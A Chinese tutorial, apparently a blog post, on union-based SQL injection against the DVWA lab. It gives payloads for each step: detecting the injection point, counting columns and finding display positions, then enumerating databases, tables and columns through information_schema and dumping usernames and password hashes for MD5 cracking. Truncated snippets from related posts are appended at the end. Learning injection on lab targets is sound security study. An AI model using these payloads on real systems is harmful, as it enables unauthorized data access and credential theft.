sql注入 union聯合查詢注入

2021-10-05 17:32:48 字數 3556 閱讀 2912

目錄

一,sql注入必記的一庫三表

二,union聯合查詢注入

1,基本注入流程

1,判斷注入點

2,判斷多少列

3,判斷顯示位

4,顯示資料庫的基本資訊

5,顯示有哪些資料庫

6,顯示資料庫下有哪些表

7,判斷表裡有哪些字段

八,查詢資料表中有哪些資料

information_schema(資料庫)

mysql

中預設的資料庫)

schemata(表)儲存了

mysql

下每乙個資料庫的相關資訊

schema_name(字段)資料庫名

tables(表)儲存了

mysql

下每乙個表的相關資訊

table_name(字段)資料表名稱

table_schema(字段)該資料表屬於哪乙個資料庫

columns(庫)儲存了

mysql

下每乙個資料表中的所有列名(欄位名)

column_name(字段)欄位名稱

table_name(字段)該欄位屬於哪乙個資料表

talbe_schema(字段)當前字段所屬資料表所在的資料庫名稱

注意:這三張表在

information_schema資料庫下面,在

sql注入過程中不能直接指定表名,

要使用「資料庫名

.

資料表名」的形式,例如:

information_schema.tables

判斷常用:

and //and是在知道使用者名稱或則id時使用

or //是在不知道的情況下使用

1,數字型注入點判斷手法:

1 and 1=1 //正常顯示

1 and 1=2 //空頁面或則報錯

2,字元型注入點判斷手法:常見的字元包裹符有—— '' 或 "" 或 ()

1' and 1=1 -- - //正常顯示

1' and 1=2 -- - //空頁面

3,搜尋型注入:判斷手法

***%' or 1=1 -- - //正常顯示

***%' or 1=1 -- - //頁面空顯示

判斷語句:

1' order by 1,2,3,n-- -

一直判斷到報錯

實列:dvwa

判斷語句:

1' union select 1,2-- -

一直判斷到報錯

以dnwa為例:

一般顯示位都是通過,有多少欄位來判斷的

在驗證一下是不是只有兩個顯示位

在多加一列就報錯了,那麼就顯示,只有兩個顯示位了

基本語句:

1' union select 1,(select database())-- - //database()顯示當前使用的資料庫

dvwa為例:

上面是注入語句,下面是資料庫名

由於有兩個顯示位,所以可以顯示兩條基本資訊

基本語句:

1' union select 1,(select group_concat(schema_name) from information_schema.schemata) -- -

以dvwa為例:

這就是我們查詢到的庫名了

基本語句:

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa')-- -

以dvwa為例:

既然知道了庫名,那麼在根據庫名查詢表名

基本語句:

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')-- -

以dvwa為例

基本語句:

1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users)-- -

獲取的是user和password

最後使用md5解密

SQL 聯合查詢 Union

集合運算子是針對兩個集合操作的,兩個集合必須有相同的列數 列具有相同的資料型別 至少能夠隱式轉換的 最終輸出的集合的列名是,由第乙個集合的列名來確定的 可以用來連線多個結果 注意 聯合 union 與連線不一樣 join 聯合 將多個結果集,合併為乙個結果集。union 去除重複,相當於預設應用了d...

簡單聯合union查詢注入

聯合查詢有前提 必須有顯示位 用sql labs來學習 這是第乙個 一 判斷是否用 做字串引號 and 1 1 正常輸出 出錯代表沒有閉合 說明沒有用 可能沒有用 或用了 或 則是 字串注入 二 判斷它所在的資料庫有幾列 order by 3 判斷是否有3列 正常 order by 4 判斷是否有4...

union聯合注入

方式一 首先嘗試id 1 and 1 1 或者id 1 and 1 1 或者1 and 1 1 或者 1 and 1 1 注釋符,假如是id 1 and 1 1 那麼and 1 1 就是我們可控的點 接下來在這個位置進行替換就好 id 1 order by 4 判斷字段個數,從order by 1 ...